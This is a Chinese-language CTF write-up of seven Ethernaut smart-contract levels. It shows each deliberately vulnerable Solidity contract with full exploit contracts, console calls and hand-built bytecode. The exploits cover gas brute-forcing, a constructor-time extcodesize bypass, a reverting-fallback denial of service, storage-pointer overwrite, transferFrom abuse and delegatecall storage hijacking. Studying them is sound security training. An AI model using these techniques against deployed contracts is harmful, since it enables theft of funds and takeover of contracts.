夜间模式暗黑模式
字体
阴影
滤镜
圆角
Ethernaut智能合约题目整理(二)

Gatekeeper One

0x01 Task

pragma solidity ^0.4.18;

contract GatekeeperOne {

 address public entrant;

 modifier gateOne() {
   require(msg.sender != tx.origin);
   _;
}

 modifier gateTwo() {
   require(msg.gas % 8191 == 0);
   _;
}

 modifier gateThree(bytes8 _gateKey) {
   require(uint32(_gateKey) == uint16(_gateKey));
   require(uint32(_gateKey) != uint64(_gateKey));
   require(uint32(_gateKey) == uint16(tx.origin));
   _;
}

 function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
   entrant = tx.origin;
   return true;
}
}

如何过三道门呢?

0x02 Solution

gateOne() 利用之前做过的 Telephone 的知识,从第三方合约来调用 enter() 即可满足条件。

假设用户通过合约A调用合约B:

  • 对于合约A:tx.origin和msg.sender都是用户
  • 对于合约B:tx.origin是用户,msg.sender是合约A的地址

gateTwo() 需要满足 msg.gas % 8191 == 0通过debug调试得到,等下再说。

gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。

require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin));

This means that the integer key, when converted into various byte sizes, need to fulfil the following properties:

  • 0x11111111 == 0x1111, which is only possible if the value is masked by 0x0000FFFF
  • 0x1111111100001111 != 0x00001111, which is only possible if you keep the preceding values, with the mask 0xFFFFFFFF0000FFFF

gateTwo() 需要满足 msg.gas % 8191 == 0

这里使用爆破的方法解决:

contract Attack {

   address public instance_address = 0xad94d66bd88f94f2bb78c0e592b018277294dde9;
   bytes8 public _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

   GatekeeperOne target = GatekeeperOne(instance_address);

   function hack() public {
       // target.call.gas(999999)(bytes4(keccak256("enter(bytes8)")), _gateKey);
       for (uint256 i = 0; i < 120; i++) {
           target.call.gas(i + 150 + 8191 * 3)(bytes4(keccak256("enter(bytes8)")), _gateKey);
      }
  }
}

Note: the proper gas offset to use will vary depending on the compiler

version and optimization settings used to deploy the factory contract.

To migitage, brute-force a range of possible values of gas to forward.

Using call (vs. an abstract interface) prevents reverts from propagating.

gas offset usually comes in around 210, give a buffer of 60 on each side.

full exp:

pragma solidity ^0.4.18;

contract GatekeeperOne {

 address public entrant;

 modifier gateOne() {
   require(msg.sender != tx.origin);
   _;
}

 modifier gateTwo() {
   require(msg.gas % 8191 == 0);
   _;
}

 modifier gateThree(bytes8 _gateKey) {
   require(uint32(_gateKey) == uint16(_gateKey));
   require(uint32(_gateKey) != uint64(_gateKey));
   require(uint32(_gateKey) == uint16(tx.origin));
   _;
}

 function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
   entrant = tx.origin;
   return true;
}
}

contract Attack {

   address public instance_address = 0xad94d66bd88f94f2bb78c0e592b018277294dde9;
   bytes8 public _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

   GatekeeperOne target = GatekeeperOne(instance_address);

   function hack() public {
       // target.call.gas(999999)(bytes4(keccak256("enter(bytes8)")), _gateKey);
       for (uint256 i = 0; i < 120; i++) {
           target.call.gas(i + 150 + 8191 * 3)(bytes4(keccak256("enter(bytes8)")), _gateKey);
      }
  }
}

Gatekeeper Two

0x01 Task

pragma solidity ^0.4.18;

contract GatekeeperTwo {

 address public entrant;

 modifier gateOne() {
   require(msg.sender != tx.origin);
   _;
}

 modifier gateTwo() {
   uint x;
   assembly { x := extcodesize(caller) }
   require(x == 0);
   _;
}

 modifier gateThree(bytes8 _gateKey) {
   require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
   _;
}

 function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
   entrant = tx.origin;
   return true;
}
}

0x02 Solution

gateOne()白给

gateThree()

_gateKey = (bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1))

比较有技巧性的是 gateTwo() ,用了内联汇编的写法。

解释一下里面的名词:

  • caller : Get caller address.
  • extcodesize : Get size of an account’s code.

在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空。此时,调用 EXTCODESIZE() 返回为 0

那么,只需要在第三方合约的构造函数中来调用题目合约中的 enter() 即可满足条件。

exp:

pragma solidity ^0.4.18;

contract GatekeeperTwo {

 address public entrant;

 modifier gateOne() {
   require(msg.sender != tx.origin);
   _;
}

 modifier gateTwo() {
   uint x;
   assembly { x := extcodesize(caller) }
   require(x == 0);
   _;
}

 modifier gateThree(bytes8 _gateKey) {
   require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
   _;
}

 function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
   entrant = tx.origin;
   return true;
}
}

contract Attack {

   address instance_address = 0xe8c0af8c1c656f5489f6bcc647361f4700cc5702;
   GatekeeperTwo target = GatekeeperTwo(instance_address);

   function Attack(){
       target.enter((bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1)));
  }

}

King

0x01 Task

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

 address public king;
 uint public prize;

 function King() public payable {
   king = msg.sender;
   prize = msg.value;
}

 function() external payable {
   require(msg.value >= prize || msg.sender == owner);
   king.transfer(msg.value);
   king = msg.sender;
   prize = msg.value;
}
}

谁给的钱多谁就能成为 King,并且将前任 King 付的钱归还。当提交 instance 时,题目会重新夺回 King 的位置,需要解题者阻止其他人成为 King。

0x02 Solution

首先需要讨论一下 Solidity 中几种转币方式。

<address>.transfer()
  • 当发送失败时会 throw; 回滚状态
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)
<address>.send()
  • 当发送失败时会返回 false
  • 只会传递部分 Gas 供调用,防止重入(reentrancy)
<address>.call.value()()
  • 当发送失败时会返回 false
  • 传递所有可用 Gas 供调用,不能有效防止重入(reentrancy)

回头再看一下代码,当我们成为 King 之后,如果有人出价比我们高,会首先把钱退回给我们,使用的是 transfer()。上面提到,当 transfer() 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,代码将无法继续向下运行,其他人就无法成为新的 King。

查看最高出价:

fromWei((await contract.prize()).toNumber())

攻击合约:

pragma solidity ^0.4.18;

contract Attack {
   address instance_address = instance_address_here;

   function Attack() payable{}

   function hack() public {
       instance_address.call.value(1.1 ether)();
  }

   function () public {
       revert();
  }
}

contract.sendTransaction({value: toWei(1.01)})

Locked

0x01 Task

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

   bool public unlocked = false;  // registrar locked, no name updates
   
   struct NameRecord { // map hashes to addresses
       bytes32 name; //
       address mappedAddress;
  }

   mapping(address => NameRecord) public registeredNameRecord; // records who registered names
   mapping(bytes32 => address) public resolve; // resolves hashes to addresses
   
   function register(bytes32 _name, address _mappedAddress) public {
       // set up the new NameRecord
       NameRecord newRecord;
       newRecord.name = _name;
       newRecord.mappedAddress = _mappedAddress;

       resolve[_name] = _mappedAddress;
       registeredNameRecord[msg.sender] = newRecord;

       require(unlocked); // only allow registrations if contract is unlocked
  }
}

This name registrar is locked and will not accept any new names to be registered.

Unlock this registrar to beat the level.

0x02 need2know

题目里多了一个structs,可以把它当做结构体来想。

看一下structs在Solidity里面有哪些需要注意的地方:

初始化结构体

现在我有这样的结构

struct Funder {
   address addr;
   uint amount;
}

struct StructOfStructs {
   ...
   mapping (uint => Funder) funders;
}
  • 直接传值初始化

... = Funder(msg.sender, msg.value);

  • 使用对象传值(更好的阅读体验)

... = Funder({addr: msg.sender, amount: msg.value})

结构体数组

Funders[] public funders;
function ... {
   Funder memory f;
   f.address = ...;
   f.amount = ...;
   funders.push(f);
}

需要知道的一点是:声明结构体是用来存储的。当使用创建或复制结构体的时候,需要使用memory修饰符。在函数中的任何临时计算都不应当使用结构体。

结构体映射

mapping (uint => Funder) funders; 
function ... {
   funders[index] = Funder(...);
}

错误的使用方法

// Do NOT do this
function badFunction{
   Funder f;         //this defaults to storage
   f.address = ...;
   f.amount = ...;
   funders.push(f);  //this will fail
}
// Do NOT do this
function badFunction{
   Funder storage f = Funder(...);
}
// Do NOT do this
function badFunction(Funder _funder){
   Funder storage f = _funder;
}

Notice that function input parameters are also memory, not storage reference pointers.

0x03 Solution

任务目标是把全局变量unlocked改为true

看一下变量的存储结构:

bool public unlocked = false;  // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
   bytes32 name; //
   address mappedAddress;
}

因为namebytes32的,所以unlock实际上占据了整个slot1。

false的字节码是0x00,所以unlock在合约中的存储看起来就像这样:

0x0000000000000000000000000000000000000000000000000000000000000000

然后在register函数中:

function register(bytes32 _name, address _mappedAddress) public {
       // set up the new NameRecord
       NameRecord newRecord;
       newRecord.name = _name;
       newRecord.mappedAddress = _mappedAddress;

这里就犯了刚才提到的错误。

newRecord defaults to storage! And any data saved inside newRecord will overwrite the existing slots 1 and 2 in storage.

所以就很轻松地可以修改unlocked

await contract.register("0x0000000000000000000000000000000000000000000000000000000000000001","0x899f879df02dc33893c54d6D02A3b2D6bBE144Df")

查看解锁情况:

await contract.unlocked();

MagicNumber

0x01 Task

pragma solidity ^0.4.24;

contract MagicNum {

 address public solver;

 constructor() public {}

 function setSolver(address _solver) public {
   solver = _solver;
}

 /*
  ____________/\\\_______/\\\\\\\\\_____        
    __________/\\\\\_____/\\\///////\\\___      
    ________/\\\/\\\____\///______\//\\\__      
      ______/\\\/\/\\\______________/\\\/___    
      ____/\\\/__\/\\\___________/\\\//_____    
        __/\\\\\\\\\\\\\\\\_____/\\\//________  
        _\///////////\\\//____/\\\/___________  
          ___________\/\\\_____/\\\\\\\\\\\\\\\_
          ___________\///_____\///////////////__
*/
}

To solve this level, you only need to provide the Ethernaut with a “Solver”, a contract that responds to “whatIsTheMeaningOfLife()” with the right number.

Easy right? Well… there’s a catch.

The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.

Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.

Good luck!

0x02 need2know

这一关需要用到汇编来往EVM中部署小合约。

image-20200509134810033

合约的初始化过程

  • 首先,用户或者合约向Ethereum网络发送交易请求(Transaction),交易请求里包含数据,但不包含接受方的地址。EVM会把这样的交易请求格式当作一个contract creation,而不是常规的send/call transaction。
  • 其次,EVM会把合约中的solidity代码编译成字节码,字节码可以直接翻译成opcode,从而可以在调用栈中被执行。

Important to note: contract creation bytecode contains both 1)initialization code and 2) the contract’s actual runtime code, concatenated in sequential order.

  • 在合约创建的过程中,EVM只会执行初始化代码initialization code,直到在栈中执行了STOP或者RETURN指令。在这个阶段,合约的构造函数被执行,并且合约拥有地址。
  • 在初始化代码执行完后,只有运行时代码runtime code会保留在栈上。运行时opcodes会被复制到内存中,并返回给EVM。
  • 最后,EVM把返回的剩余代码以storage的方式存储,并与新的合约地址关联在一起。

对于这关来说,需要两组opcodes:

  • Initialization opcodes: to be run immediately by the EVM to create your contract and store your future runtime opcodes, and
  • Runtime opcodes: to contain the actual execution logic you want. This is the main part of your code that should return 0x2a and be under 10 opcodes.

0x03 Solution

首先的话搞清楚运行时代码的逻辑。

我们需要返回一个简单的0x2a,返回值需要用到的opcode是RETURN,需要两个参数:

  • p: the position where your value is stored in memory, i.e. 0x0, 0x40, 0x50 (see figure). Let’s arbitrarily pick the 0x80 slot.
  • s: the size of your stored data. Recall your value is 32 bytes long (or 0x20 in hex).

Ethereum的内存看起来像这样:

image-20200509192220462

RETURN之前,还得存储数,需要用到的指令是mstore(p, v),其中p指代位置,v指代数据值。

602a    // v: push1 0x2a (value is 0x2a)
6080   // p: push1 0x80 (memory slot is 0x80)
52     // mstore
6020    // s: push1 0x20 (value is 32 bytes in size)
6080   // p: push1 0x80 (value was stored in slot 0x80)
f3     // return

得到opcode序列602a60805260206080f3,刚好10bytes满足题目要求。

上面的是runtime opcodes,还需要编写一个初始化合约opcodes,来实现在返回到EVM之前将runtime opcodes复制到内存。在这之后EVM会把runtime opcodes自动保存到区块链上。

复制代码用到的opcode是codecopy,需要三个参数:

  • t: the destination position of the code, in memory. Let’s arbitrarily save the code to the 0x00 position.
  • f: the current position of the runtime opcodes, in reference to the entire bytecode. Remember that f starts after initialization opcodes end. What a chicken and egg problem! This value is currently unknown to you.
  • s: size of the code, in bytes. Recall that *602a60805260206080f3* is 10 bytes long (or 0x0a in hex).
600a    // s: push1 0x0a (10 bytes)
60??   // f: push1 0x?? (current position of runtime opcodes)
6000   // t: push1 0x00 (destination memory index 0)
39     // CODECOPY

这里runtime opcodes的位置现在是不知道的

之后,把在内存中的runtime opcodes返回给EVM:

600a    // s: push1 0x0a (runtime opcode length)
6000   // p: push1 0x00 (access memory index 0)
f3     // return to EVM

现在整理一遍,初始化opcode总共占据了12bytes(0x0c),这其实意味着runtime opcodes的开始位置为0x0c。这样就可以补全之前的填空了:

600a    // s: push1 0x0a (10 bytes)
600c   // f: push1 0x?? (current position of runtime opcodes)
6000   // t: push1 0x00 (destination memory index 0)
39     // CODECOPY

整理一下initialization opcodesruntime opcodes

0x600a600c600039600a6000f3602a60805260206080f3

poc:

var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
await contract.setSolver("contract address");

Naught Coin

0x01 Task

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

contract NaughtCoin is StandardToken {
 
 using SafeMath for uint256;
 string public constant name = 'NaughtCoin';
 string public constant symbol = '0x0';
 uint public constant decimals = 18;
 uint public timeLock = now + 10 years;
 uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
 address public player;

 function NaughtCoin(address _player) public {
   player = _player;
   totalSupply_ = INITIAL_SUPPLY;
   balances[player] = INITIAL_SUPPLY;
   Transfer(0x0, player, INITIAL_SUPPLY);
}
 
 function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
   super.transfer(_to, _value);
}

 // Prevent the initial owner from transferring tokens until the timelock has passed
 modifier lockTokens() {
   if (msg.sender == player) {
     require(now > timeLock);
     _;
  } else {
    _;
  }
}
}

根据题意,需要将自己的 balance 清空。合约里提供了 transfer() 函数来进行转账操作,但注意到有一个 modifier lockTokens(),限制了只有十年后才能调用 transfer() 函数。需要解题者 bypass it

0x02 Solution

在子合约中找不出更多信息的时候,把目光更多放到父合约和接口上

注意到该合约是 StandardToken 的子合约,在接口规范里能看到,除了 transfer() 之外,还有 transferFrom() 函数也可以进行转账操作。

image-20200508195704799

由于 NaughtCoin 子合约中并没有实现该接口,我们可以直接调用,从而绕开了 lockTokens() ,题目的突破口就在此。 需要注意的是,与 transfer() 不同,调用 transferFrom() 需要 msg.sender 获得授权。由于我们本就是合约的 owner,可以自己给自己授权。授权操作在接口文档里也有

直接在console操作即可

(await contract.balanceOf(player)).toString() // 查看balance

await contract.transferFrom(player, “0x8973D74F318f914F305fb71dD7a55d057D29df1f”, “1e+24”)

await contract.increaseApproval(player, “1e+24”)

Perservation

0x01 Task

pragma solidity ^0.4.23;

contract Preservation {

 // public library contracts
 address public timeZone1Library;
 address public timeZone2Library;
 address public owner;
 uint storedTime;
 // Sets the function signature for delegatecall
 bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

 constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
   timeZone1Library = _timeZone1LibraryAddress;
   timeZone2Library = _timeZone2LibraryAddress;
   owner = msg.sender;
}

 // set the time for timezone 1
 function setFirstTime(uint _timeStamp) public {
   timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

 // set the time for timezone 2
 function setSecondTime(uint _timeStamp) public {
   timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

// Simple library contract to set the time
contract LibraryContract {

 // stores a timestamp
 uint storedTime;  

 function setTime(uint _time) public {
   storedTime = _time;
}
}

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

0x02 Review

复习一下delegatecall()

image-20200508213353951
  • Delegate call is a special, low level function call intended to invoke functions from another, often library, contract.
  • If Contract A makes a delegatecall to Contract B, it allows Contract B to freely mutate its storage A, given Contract B’s relative storage reference pointers.
  • 这就是说如果在合约A中delegatecall调用了合约B中的函数,并且我可以控制合约B的话,那我也可以修改合约A中的东西。

再复习一下合约的存储约定:

image-20200508213627166
  • Ethereum allots 32-byte sized storage slots to store state. Slots start at index 0 and sequentially go up to 2²⁵⁶ slots.
  • Basic datatypes are laid out contiguously in storage starting from position 0, then 1, until 2²⁵⁶-1.
  • If the combined size of sequentially declared data is less than 32 bytes, then the sequential data points are packed into a single storage slot to optimize space and gas.

结合delegatecall,理论上如果能把合约A和B的slots一一对应起来,就可以精准修改双方合约中的变量。

0x03 Solution

首先看源代码的下面片段:

// Simple library contract to set the time
contract LibraryContract {

 // stores a timestamp
 uint storedTime;  

 function setTime(uint _time) public {
   storedTime = _time;
}
}
  // set the time for timezone 1
 function setFirstTime(uint _timeStamp) public {
   timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

我可以在console调用setFirstTime函数,来调用合约LibraryContract中的setTime,发现没有,我其实可以通过修改LibraryContract中的storedTime来修改timeZone1Library,因为它们在slot0上一一对应。

创建一个攻击合约:

pragma solidity ^0.4.23;

contract BadLibraryContract {
   address public timeZone1Library; // SLOT 0
   address public timeZone2Library; // SLOT 1
   address public owner;            // SLOT 2
   uint storedTime;                 // SLOT 3

    function setTime(uint _time) public {
       owner = msg.sender;
  }
}

在console中,查看owner状态

await contract.owner()

注意攻击合约中的setTime名字不要变动,因为在原代码中是写死的

// Sets the function signature for delegatecall
 bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

在console中进行两次调用就行:

await contract.setFirstTime("[BadLibraryContract Addr]")

await contract.setFirstTime(1)

暂无评论

发送评论 编辑评论


				
上一篇
下一篇